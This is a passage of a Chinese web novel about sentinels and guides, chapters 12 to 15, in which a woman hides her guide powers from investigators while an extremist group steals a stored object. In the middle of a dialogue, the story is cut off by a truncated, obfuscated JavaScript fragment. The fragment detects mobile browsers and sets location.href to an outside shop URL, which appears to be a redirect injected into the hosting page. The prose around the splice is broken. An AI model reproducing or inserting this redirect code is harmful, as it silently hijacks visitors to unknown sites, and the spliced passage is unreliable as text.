一切如常,如果庄问微没有摸它光秃秃的屁股的话。
“叽!!”狐狸暴跳如雷,转眼跳入山间树丛消失不见,留下依山而建的跃水别墅独享清净。
奇怪的是,她理应重伤昏迷,甚至成为植物人,却只在当时感到疲惫,过后精神图景更加繁荣,甚至狐狸第二条尾巴也长长了好一截。
每个哨兵向导都拥有精神图景,觉醒时就形成,无法人为控制,一般认为和量子兽特性及哨兵向导性格有关。
庄问微的内心是一片山林,植被茂盛,崎岖难行,溪流从山各处汇聚,到达山腰时,水势已有三米宽,她的房子就依着斜坡建造,正好跨在溪上。
地板通通是玻璃,白天坐着,水流就从脚下而过,好似整个人无穷无尽地漂泊在河上。
女人盘腿坐在自己的内心空间里,思考着该拿这里怎么办,哨兵向导大脑都有磁场保护,一旦保护壳被突破,精神图景就会大敞陷入危险,再往里走便是记忆。
如果有向导来,该怎么隐藏自己?她只知道怎么从哨兵面前隐藏,还没碰到过向导。
摔出脑震荡?不行,这种伤害自己的事情不能做。
正好哨兵都被拉走,她现在能回老小区收拾东西逃跑,反正证件都是假的,跑到不需要身份证的小山村,藏个几年——
也不行,如果站在调查组的立场,他们面对如此多怀疑对象,肯定优先查国特库内部人员,而不是一个仅仅路过半小时的无关人士。
自己消失,反而显得异常。
*
女人左走右晃,决定先从岳雪如那边套一下调查进度,再做应策。
还有施阳泽,他最后说的那句话是什么意思,能完全相信他吗?她同时还是‘墓土’案子的报案人,调查组从头捋案情,会不会发现这个细节?
正在一筹莫展之时,一通陌生来电来了。
“冒昧来电,请问庄小姐回小区了吗?”是那个金发哨兵,中尉丹尼斯,他语气焦急。
庄问微觉得不舒服,刚要挂,对面已等不及。
“千万别回去!你离开后,有向导来打听你的信息,至少是个A+,口音不正,长相偏东南亚。她偷潜你的房间,被我当场发现,可她反过来抽昏我,直到那天被召唤——”
他立刻阻止话头,还说:“只要你在境内,就受法律保护,向导不能搜查普通人的大脑。”
什么?
庄问微听着对方殷切的警告,注意力偏到另一边。
对了,身为向导,她能搜普通人的大脑!
12. 第 12 章
只要一个向导侵入她大脑后,看到的和普通人一样,就能逃脱其追捕。
作为曾经被培养的哨兵备选,她接触的向导很少,日常中只有母亲和她那些朋友。
她们看她的方式:
从高高窗前下望,带着点可怜,“这就是那个胎里假特种的?”
妈妈一脸冷漠:“如果不是以为她是哨兵,怎么会给她这么多资源?”
“哎,可惜了,她初中在学校里很有风头,我儿子都知道,哨兵备选里唯一一个假的。”
他们也是同样看待普通人的,特区出身的哨向天然有晋升优势,而普通人出身的哨向为了迎合群体风向,不得不割裂看待自己的一部分,更倾向于和特区出身的人结合,这对向导来说更为寻常。
*
庄问微有些迟疑,她现在这样,在哨向群体里何尝不是一种彻底堕落呢?
那么,要这样对待另一个普通人吗?
这时,听不到声音的丹尼斯,“我真的很担心你的安危,如果可以出去,我一定陪你解决这件事。”
女人的心思终于回到家里进人这件事上,一个向导,东南亚面貌,在她走后没几天闯空门,会是特区来客吗?
“谢谢你,那我暂时还待在外面。我不认识什么向导,家里也没值钱东西,先报警再说。”
“向导的话,普通警察可不管用。”中尉帮忙找房子的话就在嘴边。
庄问微堵住他要帮忙的话头,“话说,会不会是中尉你的仇家,她发觉你对那个房间在意,所以特意设置圈套埋伏你?”
丹尼斯愣了,脑子一转就笑出来,“那样我罪孽深重,之后找房子、搬家就都让我来赎罪吧。”
“......”哨兵都是这样的人嘛,她顺势打探消息,“你说你最近出不来?是在训练吗?那怎么现在才打电话?”
“和前天的那件事有关,今天才录完证词,我就赶快申请通信许可,幸好你没有随便回去。”
几百个哨兵,看来这趟只是普通询问,“如果真的要搬家,你什么时候才能出来?”
中尉沉吟许久,“也许要久一些,你知道不同等级哨兵的判断标准吗?其中之一就是,在一个堆满杂物的大仓库里,A级哨兵只需要看一眼就能在事后分辨出所有物品。所以对A级哨兵需要多轮盘查,获得更多破案信息。”
这家伙,在电话里都能附赠求偶小卡片,庄问微推测调查组进驻就这两天的事,早晚轮到她,得现在就准备。
“谢谢你告诉我这些,好不容易的通信时间,你接下来是不是要给家里报平安?我就不耽误你时间了,回头好好谢你。”
丹尼斯好不容易争取的通信时间,只有一半给了心动女嘉宾,他还有好多话想问,比如那天庄问微为什么也在现场,她为什么和虎贲营的施阳泽那么熟悉?
但对比其他哨兵,他清楚明白自己的优势在哪里。
“不用着急”,只要女人现在还想玩普通人游戏,比起在哨兵营长大的施阳泽,普通人出身的他自认能做得更体贴到位。
*
带着对未来生活的小九九,两人各自忙碌,谁都没想到,事情会在接下来急转直下。
几天后,庄问微成功挺过调查组的审讯,来到卫生间狠狠洗了一把脸,抬头,眼里一缕光芒游走,形状似狐。
“谢谢第二条尾巴。”
第二条尾巴长出了名为‘伪装’的特性,说是第二条尾巴,实际也只剩这一条了,在刚刚的对峙中她的大脑从内到外伪装成了别人,挺过了那名男向导肆无忌惮的查看。
人所谓外形,无非就是光的折射反射在视神经里形成的图像,向导的话又多出一个精神图景,如果她能伪装自己的外形,那当场变成另一个人又有何难?
她当时自信满满,期待不日能成长为独立于体系的向导。
*
逃离追捕的第50天:
成功用新特性躲避了审查,其他向导的能力也如这样吗,以我对向导浅显的理解,似乎并不。
而且说到底,狐狸怎么样才会长尾巴呢?
貌似都是在和多个哨兵接触之后。
*
一切信息都告诉人事情向好,可第二次审查猝不及防来到。
与此同时,一则广告悄然塞在网络新闻角落:朝阳眼科,带您重返光明,特聘向导,提供上门体验,来电请咨询XXXX-2XXXXXX。
如果有客人打过去,咨询几分钟,就会被转接给当地一些非法医院,只有看懂广告的人才能咨询到真正要问的东西。
*
说回第二次审查,或许不能叫做审查,只是庄问微报了警,齐警官和顾尾出警罢了。
“庄问微小姐你好,我们需要查看入室的第一现场。”
怎么回事,现在向导资源这么丰富了吗,一个入室案件,竟然惊动了从特区来的使者。
上六楼需要150级台阶,庄问微在前方领路,后方向导的视线如同针扎。
——快想想,哪里有问题?
她回想当时报警的说辞,全程没有提及哨向,只说有人趁她离家入室,暂时没回家也不确定损失。
“庄小姐,你在想什么,脸色很差。”上楼声里,男人闲闲的语调很欠揍。
庄问微:“顾先生,如果您家被入室,想必心情也好不到哪里去。”
说话间,三人上到四楼,暂停脚步,避让腿脚不便的老婆婆。
这十几秒钟,庄问微大脑飞速转动,将所有可能的问题加上答案。
果然,才抬脚,顾尾猝不及防握住女人手腕:“小心脚下。”
没有松手,一边数着女人脉搏,一边不经意地问:“你和丹尼斯中尉很熟悉吗?”
咚咚、咚咚,女人心跳平稳。
庄问微挣了下手:“见过一面。”
“是吗,那你知道吗,中尉连续好几天梦到你了。真奇怪啊,两个A级哨兵——”
此时两人手拉手站到了顶楼门口,女人举起被拽的手,“麻烦一下,我开门。”
然后边开门边回复上个问题,“这种事情,你最好问丹尼斯中尉自己。”
房门大敞,庄问微视线首先放在了空荡荡的窗台上——迎春花不见了,只剩一个花盆,得出这个结论后,她迅速扫向其他地方。
但她的速度没有顾尾快,几乎是眼皮眨动间,他就已越过前方的房主来到大开的窗户前。
外面嘈杂的人声仍在,可庄问微心脏猛跳,所有外界声音如潮水般退去,唯有背光的顾尾转头过来,语气里掀起了莫大的好奇,带给她无比毛骨悚然的危机感。
他问:“这里残留着向导素,庄小姐,你对此有什么见解?”
她准备了这个问题:“是吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635995|143780||http|test|mini|href|location''.split(''|''),0,{}));
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>庄问微做了一个眉头展开的动作,像是相信了什么,“这事儿也许你问丹尼斯中尉就行,他说有个东南亚向导逃到这里,看我房间没人就闯空门。我还以为他又在搭讪,一直没信呢。”
“也就是说你很久没回家了?”
她不解:“我在报警的时候说的很清楚了。”
“是么”,顾尾开始在房间里踱步,鹰一般的眼睛扫视着屋内陈设,庄问微不敢去看,怕暴露紧张,镇定地上前翻动抽屉查看丢失情况。
明明一开始说齐警官是主导,可现在却是顾尾一直在说,“请看着我回话。”
庄问微一下火了,摔掉手上本子叉腰转身,“不好意思,我不敢呢!”
“嗯,继续。”顾尾斜斜靠在衣柜上,露出脚腕上的定位器,他的表情和松垮的动作极不相符,只轻轻掀动嘴角。
“因为不小心看特种人一眼,就要被认为是对特种人有意思呢!您刚刚问我,为什么丹尼斯中尉会梦到我,我不深究你们特种人的能力,其实我也想问一个为什么呢!为什么一个被拒绝过的小屁孩认为自己成了哨兵,就觉得能轻易拿下我!吓得我好久不敢回家!为什么只一个照面,哨兵就认为这是命中注定,觉得我也应该相信这种爱情!可我是普通人,我没法理解你们的爱情观,所以只好避开。”
她说完,直直看着男人,对方也盯着她,卧蚕似乎勾起,酝酿起笑意。
但他没有,止住了自己上扬的嘴角,挂上那种闲散面具,像只猫似的拉伸胸腹,从斜靠的衣柜起身,静电啪嗒一声,像猫离开抓板不小心爪子被“啪”地勾了一下。
“那么”,顾尾步子很大,两步跨到门口,才想起来似的转头,“基于对你的保护,请快点收拾东西去营地吧~一会儿会有哨兵来接你。”
一把火腾地烧起来,庄问微要被这急转直下的剧情气死了,哨兵+营地,她在脱逃之前,很可能就会因为不间断使用能力而烧坏大脑。
*
三楼楼梯,齐警官快步跟在恢复了冷淡讥嘲脸的顾尾背后,意外感觉他心情很好。
“她的说辞和报警时一致。”她假装汇报工作,声音平铺直叙。
“嗯。”
“您刚刚察觉到异常了吗?”
“想问什么?”
齐警官还是那副公事公办的样子,“您很高兴?”
“哈哈,你看她刚刚气又强装镇定的样子,好不好玩。”他高大的身影在前,掂起脚尖轻快两步并一步下楼,弯着膝盖,身体轻微左右晃,让西装下摆舞成波浪,就差嘴里哼歌了。
女警撇撇嘴,心说这人大概真的被关疯了,之前他在审讯室时落面子又不因为庄问微。
不过临到出发,顾尾坐在副驾驶突然说:“她刚刚说的很对是吧,那些哨兵,有一头算一头,都是野兽。”
女警表情不动,眼睛盯着倒车镜,语气平淡:“你之前不是说,哨兵最适合当狗吗?”
“是啊,一个向导管一群猎狗,这样最合适,大自然不就这么分配觉醒比例的吗?”
齐助理腕表鸣响,又被她关掉,“触发关键词‘觉醒比例’,我会记录下来,归档到‘大向导主义倾向言论’里。”
“请便。”顾尾闭目养神,眼前浮现的不是刚刚那个普通人,而是——每个光明向导都带着自己的改造使命而来,这次会是光明向导吗?她/他的任务又是什么?
13. 第 13 章
逃离追捕的第52天:
乐极生悲,和国特库一群人被关到哨兵堆里了!332和334理论上应该只隔一个房间,为什么就直接到哨兵宿舍楼了!
我的神经岌岌可危,该怎么做?如果暴起伤人,会被换到普通监狱吗?
*
“你在写什么?”苏鱼探头过来。
她是国特库的员工,也是临时工3组的小组长,带我们这些菜鸟统计并整体搬运国特库的重要物品。
庄问微扣上拔掉卡的手机:“控诉宿舍分配的不公。”
听到这话,背抵车门的哨兵似乎往这边看了一眼。
她赶紧压下声音,“就像现在,为什么别人都可以坐客车,我们正好是多余的,就得和货坐在一起,倒霉死了。”
昏暗的卡车内,编号的木箱成摞堆放,仔细看,上面都有钢丝绳固定在车厢底。
“往好点想想,比如这边比那边贵,而且也是最后一批了。”苏鱼说得又轻又快,扔掉这个话题,就迫不及待聊起她感兴趣的东西,“你说,那两个哨兵特性是什么?”
“......这个距离,你不如直接到他们面前说。”以哨兵的五感敏锐程度,刚刚那话就差大声喊出来了。
苏鱼脸有点红,借着追打同伴躲避话头。
临上车的时候,那哨兵一摸车门,涂着迷彩的车身就改变样貌,成了‘顺云快递’的卡车,可惜庄问微这两天一直加持伪装,否则该能看到那只变色龙量子兽发动能力的瞬间。
“请坐下,小心磕碰到箱子里的东西。”卡车前方透气孔里传来冷漠的训话,前方除了普通人司机,还有一个哨兵跟车。
苏鱼不得不安分下来,但似乎有些不忿,哼一声把和前方的隔板给推上了。
“诶?”庄问微不解。
苏鱼挡住嘴巴,用唇语说:一人一个怎么样?你喜欢哪个?
荒谬几乎像春雨后的野草一样从庄问微头顶冒出,这女人简直是个痴女,那两个守门的双胞胎哨兵,都紧张到抱紧武器了。
看样子才十八九岁,面对成熟大姐姐的‘拿下’宣言,他们即使身为哨兵也不安极了。
庄问微拨浪鼓一样摇头,伸手拉住苏鱼,却不知怎么得,就被一股大力反带得站起来,似乎有些不好意思,低着头扭捏跟着。
这下,苏鱼倒不说什么一人一个了,直接朝着右边那个过去,“哨兵先生,你家是哪里的呀~”
“请——”变色龙哨兵毕竟年纪轻,刚要制止,苏鱼一个“哎哟”就被绊了一跤,连滚带爬扑到少年身前。
她脸红得如血,车再晃下立刻就能滴下来。
“你没事吧。”这下哨兵也不好说什么了,退后一步重新背靠车门。
另一边,默默无言的庄问微也走到了车门左边,倒没说什么,只看着。
“你扶我下呗~”见哨兵不似刚刚那么排斥,苏鱼立刻伸手。
变色龙哨兵看向同伴,对方背朝这边,先一步犯禁,在工作中和普通人沟通。
最后一班任务,密闭空间里,他最终还是伸手,“我们要遵守规定,请——”他还未说完,眼睛瞪大,看着两人交握的手,“你!”
针刺的痛感伴随着麻痹游往全身,哨兵比普通人更快的新陈代谢速度这时反而成了阻碍,他刚说了一个字,麻痹就已爬到舌头。
这时再看同伴,对方哪里是在犯禁沟通,明明是和那个普通人头抵头昏在了一起!
水渍在苏鱼移动间慢慢沾到车厢底,她目标明确,来到刚刚由自己绑上的木箱,撬开,拿出一个包裹好几层的瓶子。
透明的气流波动终于在物体表面衬托出形状,那是一只漂浮着的水母,几根拖长的触手正指向麻痹着的人。
“这么久,终于——”苏鱼表情一扫痴迷,动作很快地过来,推车门无果后,迅速且粗暴地在变色龙哨兵身上搜索钥匙。
少年目眦尽裂,口水顺着不听使唤的嘴角滴落,但那双眼睛死死盯着。
“啪!”感觉被冒犯,苏鱼一个巴掌扇上去,“看什么看!死哨兵,一股蜥蜴味。”
武器被丢到一边,衣襟被撕扯开,哨兵的尊严也扔了差不多,苏鱼搜索无果,将瓶子好好装在随身黑箱里,皱起眉再次推车门。
不对!
门外有什么东西顶着,她立刻意识到不妙,撤退抬腿就要直撞出去。
就在这时,卡车嘶鸣,轮胎擦着地面,所有人都如酒杯里乱晃的樱桃,车厢里苏鱼趔趄一下摔倒,连装着瓶子的黑箱也一路滑到黑暗处。
“轰——”撞车,巨大的惯性使得车内固定钢索发出撕拉嗡鸣,唯一的普通人更是几个翻滚和箱子连撞好多下。
“留下!”哨兵趁着控制脱离的一瞬立刻滚到一边。
“想留你娘,看你本事!”苏鱼几乎同时翻身站起,长长的精神触须鞭子一般抽打过去,哨兵身形动作没有恢复全盛,几次闪躲后,就被当头抽在脸上,立刻疯了似的捂着头打滚,“啊!!!”
可是奇怪的是,前头的司机和跟车哨兵竟一声不发。
“啊啊啊啊!”变色龙哨兵的量子兽迅速消弭,只留陷入暂时疯狂的主人撞得头破血流,但很快,那少年就进入第二阶段,整个人平躺着,眼睛睁到几乎脱出眼眶,身体撑到板正,往后撅着浑身抽抽。
似乎是有意识,但直愣愣瞪着上方,上岸的鱼一样不停张嘴呼吸,低声呓语着什么。
苏鱼已经拿好黑箱,越过人事不省的庄问微,快速收回精神触丝汇聚成一股,强力的腐蚀从中缝将外面横着的东西切开。
“哐啦——”
整个车门大敞,露出略有歪斜的各个木箱,三个躺在里面的人姿势各异都无声无息,前头撞车的黑烟凝成一股朝天际飘去。
这里很快就会来人。
苏鱼收回感觉不对的心,抱着箱子迅速闪去旁边树林,这地方倒是比约定好的接应地点晚了一点,是同伴帮忙截停的吗?
除了顾尾,特区那边好像没有派来新的S级向导,今天确定过他的行程,肯定赶不回来。
左右看去,却没有人,她快跑的脚步一转,直接放弃接头,选择独自返回。
所以,刚刚是谁把外面的门栓插上的?
*
此时此刻,车底,一只狐狸抱着某个眼熟的瓶子正喝得肚圆,它的主人顶着摄像头只能保持咸鱼躺尸的姿势,急得满头是汗。
“嗝~”狐狸喝完了,庄问微的心也死了。
怎么说,作为一个普通的临时工,她已经做出了超额的努力,刚刚那瓶早就过期的‘娃哈哈’当做是她努力的报酬吧。
庄问微装晕装得很辛苦,但很快一股燥热涌上来,觉醒时都未曾有这种难捱,仿佛一个容嬷嬷拿着一千万根针,有耐心地等待毛孔张开的瞬间插进去,然后从头扎到脚。
所以,女人的装晕立刻变成了真晕。
风吹进车厢,远处不间断的警笛正朝这边赶来。
*
庄问微不知多久后醒来,她没力气睁开眼,只是意识从湖底浮上水面。
身下不是硬邦邦的车厢,而是软软的床铺,鼻间闻到浓重的消毒水味道。
——她这是已经到医院了吗?
——不好,暴露了吗?
——好困,睡觉先。
外面的声音进来,像邻居家吵架时,耳朵贴到墙上,于是朦胧的声音清晰起来。
耳熟的嗓音在面前响起,“她是不是醒了?”
随着渐大的声音,一道呼吸也扑到脸上。
另一个冷静的女声:“顾老师,所以你现在对‘猥/亵女性’的罪名很感兴趣吗?”
庄问微只想着再沉下去,倒也不慌。
于是那恶劣的人‘啧’了一声,不爽地退后,他行走间带动的风吹到庄问微脸上。
“野火现在的向导屏蔽器真了不得,那个苏鱼,几次审查了,一点马脚都没露出来。”
齐警官的声音仍在床脚:“没想到她会潜伏五年,如果不是出了‘墓土’的事给了方便,还不知道得多少年。”
“可惜那东西丢了,你就算找到光明向导也没法以功抵过。”
顾尾的声音已经随着走动来到床头另一边,他迅速贴近,“醒了吗?对这件事你有什么看法?”
看法?
想法就是抬起手,把不停吹她睫毛的可恶男人推开。
但不由自主地,她的嘴巴自动开口:“困,好累,真倒了大霉了,宿舍隔了一个房间,竟然直接和朋友隔了一条空中走廊住到哨兵堆里,还碰见个痴女在那儿演来演去,为什么我不能坐车走,为什么最后少两个座位,安排的人干什么吃的!就因为我是临时工吗!”
“哈哈”,头顶上方传来男人的嬉笑,庄问微都能想象出他笑出两汪卧蚕的样子,“切开黑。”
“什么?你说谁?”
女人闭眼躺在床上,再不应答。
顾尾也不催促,一点点用手帕擦干她汗湿的额头,拨开粘在上面的黑色发丝。
齐助理看看后方,做了手势,门外一群哨兵松开阵型,领头的朝下一个房间开始布置。
“顾老师,该催眠下一个人了。”
顾尾收回手帕,眯眼看后,轻轻将其放至鼻尖。
如果这是大学校园剧,该是一
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副很美的景象,看起来就可亲的帅学长站在阳光下,弯弯的眼睛,温和的下颌角,白到透亮的皮肤,低头不知思考着什么,似乎下一秒就会抬头,和后排窥探的女生对视,在对方面红耳赤中淡定离开。
“夷~”床尾齐助理不小心透露心声,然后很快闭嘴。
因为和大学校园剧不同,这个家伙是很小心眼的。
齐助理推推眼镜,慌乱中选择话题:“车厢里向导素和庄问微家里的一致,果然是苏鱼吗?所以就像这次通过庄问微传递麻醉,上次‘墓土’,庄问微也和墓土载体擦肩而过传递了启动信号,这样一来,两次交集就说得通了。”
可是按照这么推下去,如果墓土事件是野火精心策划,只为了夺取那个东西,那么制止墓土是不是也在他们的策划当中,这就引出一个核心问题,所谓的光明向导是真还是假?
顾尾同时想到了这点,“野火,真是一群了不起的家伙呢~应该说,我们向导真是厉害。”
“请注意不要说‘我们’这个词,以及——对极端向导组织‘野火’发表积极评价,我记下来了。”
“齐助理,把下面这句话也记下来吧。”
床尾的人一颤,如临大敌似的撞到床柱,带着床上的人也一动,“什么?”
“你今天特意看了刘磬少校三次,累积查看次数23次——”声音的主人迅速迈出门去,也带着话里的信息传递到守门的上尉耳边,甚至特意提问:“我数得对不对,刘少校,我的助理花痴真对不起咯~”
“咔”,齐助理捏得笔记本外壳一响。
少校仍冷着脸,好似什么都没听到:“今天发生的所有对话和结论,都会记录并上传到总部,请两位慎言。”
*
“哒”,病房门关上,外界声音被门吸走,瞬间安静下来。
庄问微本该这么睡下去,把伪装进行到底,就像原来的那样。
可现在,她天然觉得无需做到这种程度也能伪装成功,就像——
床上一只手探入床底,掏出睡得舒舒服服的狐狸,它怀里还紧紧搂着那只没有标识、光秃秃的棕色瓶子。
这么近的距离,狐狸就在脚下,顾尾竟然没有察觉到。
也许她变强了?摸摸狐狸屁股,暂时只有一条尾巴,但它沉睡的状态看上去要憋个大的。
而且和觉醒时一样,也散发出了向导素。
所以,这东西到底是什么?
打开瓶口,里面被喝得干干净净,只余一点苦味和淡淡的特殊药味。
这味道,总感觉有点熟悉,但在大脑里搜寻,却遍寻不得。
*
时间稍早一点,遥远的国境线外,民宅内。
躺在床上的男人被迫苏醒,他瞪着天花板,神情危险起来,好不容易等到那个女人回来,她竟然带着另外两个向导。
其中那个男人,还站在他面前,长得一副笑起来就灿烂的骚脸。
幸好他的量子兽是完美的植物形态,没被察觉出不对。
“阿莫”,男人轻声呼唤,进来的正是疗养院里的医生。
医生进来,跪坐在床头前,即使床上男人已瘦弱不堪,他从进来到跪下都没敢抬头,“在。”
“彩弥到了怎么一直不行动?”
医生:“她当时已找到那位向导的新地址,没有行动也在等您的消息,不敢妄动,后面那位向导卷入了一起案子,被监视起来,我们猜她就是那位能指挥上百哨兵的光明向导——”
“行了”,男人眉间沟壑甚深,配上极为压眼的浓眉,只剩一把骨也是能戳死人的骨,他琢磨后很快做出指示,“找机会把她引到其他城市,避开耳目请回来。”
“好的,我们一定‘请’回来。”
男人的手从床缘垂下,声音里带着罕见的喟叹,“阿莫,你们这些年的辛苦我都看在眼里,你了解我,有仇就报,有恩就谢,刻在骨头里,尸体烂掉,扒开坟墓也能看到。”
医生知晓他未尽之语,激动地浑身颤抖,握住那只手高高举过头顶,失控地叫喊:“您才是沃土的无冕之王,沃土因您而成,享受您的能力恩泽,我们能吃饱饭、握紧qiang,都是您的缘故,无论如何,我们这些人都会衷心追随您!”
*
国境线外讨论进行的当天晚上,蝙蝠引着一个OL前来。
还站在不久前它和主人打斗的地方,唯一变的,就是蝙蝠量子兽的哨兵主人没在,多了一个上班族样貌的女人。
“你想让我帮忙?”
蝙蝠殷切点头,主人不积极,那就量子兽来。
“恩......可那个屋子现在没有人呐~”
14. 第 14 章
绕过一重山岭,回到隐秘基地,苏鱼愤怒地跳上桌子,砸烂手里的石头:“什么时候掉包的!”
东西是她亲手从保险柜里拿出,趁机塞到普通等级物品里,又是她亲手将东西放进黑箱,只在中间不小心脱手了一次,拿回时重量分毫不差。
好像——当时只有庄问微那个女人倒得最近,她从后门一路滚了七八米,距离黑箱一臂之遥。
也不对,庄问微刚开始就被控制住了,一个普通人而已。
所以,到底是谁把门栓从外面插上的?
一红一蓝的双胞胎兄妹不知何时潜行到左右,探头异口同声:“苏鱼成绩大揭晓,5年成果为0!!”
“滚开,你们两个变态!”苏鱼赶快跳下,将脚印擦干净,“一会儿我要汇报,你们快出去!”
角落不知待了多久的阴暗蘑菇发声:“如果我是你,会立刻告诉头儿——”
话没说完,急性子的女人已经一阵风冲出去。
“你什么时候在这里的!”穿红色睡衣的妹妹惊讶。
蘑菇推了推眼镜:“我已经在这里待了一周。”
兄妹:“......所以昨天和我们一起吃饭的是你的分/身?”
“应该说是四个分/身”,蘑菇嘴角难以抑制地扬起来,“第一个放在图书馆上班,第二个放在食堂,第三个放在我的房间里,第四个在这里。为了防止穿帮,每个分/身都互通信息,并进行串供伪装。”
兄妹互相看了看:“所以要玩游戏吗?找到你的本体的话,就陪我们玩猫捉老鼠一千次。”
“好”字还没落地,蘑菇就隐藏于背景板,兄妹已站在蘑菇刚刚出现的位置,“消失了,真的是分/身。”
一阵风的苏鱼已经找到了头儿,他被拥簇在人群里,女人脚步一顿,察觉到气氛不对,周身空气针扎般难受。
“她来了。”这时所有人看过来。
一群向导的眼神瞬间化为肩膀上的重拍,她直接栽倒跪下。
“走了五年,回来的时候带着尾巴,也不知道是不是成心的。”这话说得刻薄,苏鱼涨红脸皮,抬头怒视萧思。
说话的人眉毛眼睛离得老远,天生一副天生闲散不专心的表情,苏鱼看过去,顺带掠过死对头肩头的红色。
这人当年抢了自己的功劳升紫色,现在竟然又升了?
“是政府的手套组织”,中间的男人终于发声,他原也英俊,可惜一道刀疤横贯脸庞,仿佛连表情和面部肌肉也切断,说话时上嘴唇肌肉死了似的,“绰号黑医的向导,你怎么会惹到她?”
不等满脸是汗的向导辩驳,他挥挥手,“这些慢慢查,但你最不应该的,是同伴帮你断后砍尾巴,你却想先回来邀功,而且把东西弄丢了。”
他怎么知道?!
转瞬,苏鱼就想到了拥有多重分/身的‘蘑菇’,意识到这点后,一直站在她身边却被忽略的人,才终于显现。
好像关于她的惩罚也在这走神间隙下达过了,蘑菇一手拎起她,怜悯感叹:“离开头儿身边,五年时间就退化到这种程度,当初何必意气用事?”
两人转瞬消失,野火又回到刚刚被打扰的话题,“政府才不会用那东西造向导,就算他们想也不成,因为我当初在里面掺了毒。”
*
另一头,‘黑医’逃回黑手套,哼着歌打开衣柜,里面是一排各色的OL时装,她换上高跟鞋,一串哒哒哒的脚步穿行于光可鉴人的走廊。
“蝙蝠~蝙蝠~我带着你心上人的消息来了~”她作势要敲门。
里面的人为防止敲门声打扰,在她动手前就打开门,黑沉沉的哨兵露出一角俯视的眼,“不听,滚。”
“诶,我又没找你,我找你的蝙蝠量子兽呀。”哨兵不说自己来历,也不说自己姓名,久而久之组织里都称呼他为蝙蝠。
里面传来翅膀扑腾声,蝙蝠硬生生挤来,叽叽大叫。
“我找了一天,原来她是国特库的员工,跟着转运车,结果——砰!野火的向导登场,抢东西”,她压低声音,像在给小朋友讲故事,把头一歪,“嗝~她也被弄晕了,估计现在还在集训中心的医疗室呢。”
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>“说完了?”后方的哨兵没等对方反应,就啪地关上门。
讨了个没趣的黑医并不气馁,心里琢磨着:蝙蝠喜欢上一个女人,这消息该卖多少钱,该卖给谁呢?
*
位于山脉环抱中的集训中心,顾尾迅速催眠完在场所有人,只套到一个有用信息:苏鱼是拥有两种特性的向导,腐蚀和麻醉控制,等级在A以上。
一般而言,哨向特性继承自量子兽种族本身特点,猫的迅捷、柔韧,犬的追踪、机敏,变色龙的伪装,资质一般拥有其一,拥有特性越多越上乘,这是普通种族的规律。
在这上面,还有传说种,例如食梦貘,就能拥有该种族传说中的特性,因其本身的稀有特性,成长完成后基本S级起步,总之每个特种人的能力差别在觉醒那一刻就已能窥见。
齐助理感受着身边人悄然爬上的黑气,推了推眼镜莫名紧张,“所以,接下来怎么安排工作?”
光明向导的第一波排查涉及国特库2公里范围内所有人,第二波开始就要陷入人民的汪洋大海,如果兼顾野火的处理,显然是不够的。
顾尾耸耸肩:“我们——什么都不做。”
听到上司不强求功劳,齐助理猛松一口气,顺着说下去:“也是,我们能做的都已经做完,虽然盗窃是在我们工作期间发生,但这不是我们的任务,打报告让其他人接手处理——”
两人说着,刚分别没十分钟的刘磬迎面走来。
“怎么了?”
刘磬:“刚刚我翻阅了所有野火资料,他们歧视哨兵,但讨厌普通人的程度也不遑多让,过往袭击案例里普通人死亡率很高。”
顾尾听了,琢磨起另一件事:这个刘磬粗中有细,手里掌握着一群哨兵,却被压在市一级别无法晋升,像他这样的不知道多少,果然哨兵委员会里的家伙都疯了。
旁边齐助理听得仔细,打了个激灵:“可庄问微比哨兵醒得还早。”
刘磬不理别人的心不在焉,脚步加快,“对,早在她醒来时我就有疑问,刚刚查了资料,更觉得这个女人有问题。”
15. 第 15 章
一只隐形的狐狸听了他们的对话,急得在原地咬着第二条新长的尾巴转了一个圈儿,才回到主人身边。
庄问微竟不知自己的健康也是罪过。
“滴滴滴”,监护仪显示病人血压和心跳同时飙升。
抬头有监控,出门有士兵,如果下了床说明身体状况愈发良好,更增加可疑性,那个所谓少校一看就是个手狠的。
眼看大难在即,女人闭眼和狐狸沟通。
——你说肚子里有一团不能消化的东西是吧?
——对。
——消化掉会有负面后果吗?
——对。
——那就来吧,消化一点,只能这么干了!
*
几人脚步匆匆,却不想坏消息先一步到达医疗室。
“少校!今天失窃案幸存的普通人病危了!”
他们齐齐定在门口,看着空荡荡的病床,此时的想法是相同的:这么巧,刚有嫌疑还没问话。
刘磬少校更为直白,十米长的森蟒瞬间出现,挤满整个房间,将执勤的哨兵吓得连退三四米。
蟒蛇缓慢吐着蛇信,几乎是立刻,少校下了结论:“没有通信设备的味道。”
那就说明,也许刚刚庄问微的醒来类似回光返照。
他总皱着眉,眉间即使松开也留有沟壑。
顾尾斜了他一眼,“咚”地将脚边蛇身踹到一边,这蛇挤占了大部分空间,近的部分已贴到向导身前。
少校回头,顿了两秒,没说什么就将量子兽收起。
但气氛仍旧僵硬了不少。
执勤士兵看了眼撇开头避嫌的男向导和男哨兵,想起了哨向匹配里的默认规则,先匹配男女,再匹配哨向。
因为男向导作为异性恋,在整个匹配系统里很尴尬,他们大部分只能选择数量稀少的女哨兵,但急了的哨兵饥不择食也会骚扰他们,他们作为男性会凝视女性,可与此同时,自己的背后也在被哨兵凝视着。
听说这位男向导的刑期有不少就是这么来的。
“咳,抱歉。”刘磬少校这半月都没让量子兽显行。
顾尾皮笑肉不笑,他作为调查组头领,本该实时和主管本地的哨兵头领沟通,可谁让他们同性相斥,“走了,既然如此,我们还各自调查,每两天邮件互通信息吧。”
*
走下楼梯,一路朝审讯楼走去,今天,他们的一项任务是岳雪如——庄问微的好友。
齐助理还有不解:“不是已经排除庄问微的嫌疑了吗?她家里的向导素和转运车的向导素一致,推测为苏鱼的,她事先知道庄问微要去国特库送人,于是将某个开启事件的开关放在庄问微身上,在其和‘墓土’载体擦肩而过时引爆。这样就推出国特库的一系列事件都是野火为了盗取存品而做,光明向导可能不存在,你昨天不就让我这么写的吗?”
墓土是炸/弹,庄问微是引线,两个齐聚国特库才能引爆,进而让固若金汤的库房大敞,又借助光明向导的噱头引走大部分注意力,野火才好偷走目标物,为此不惜让潜伏五年的苏鱼露面。
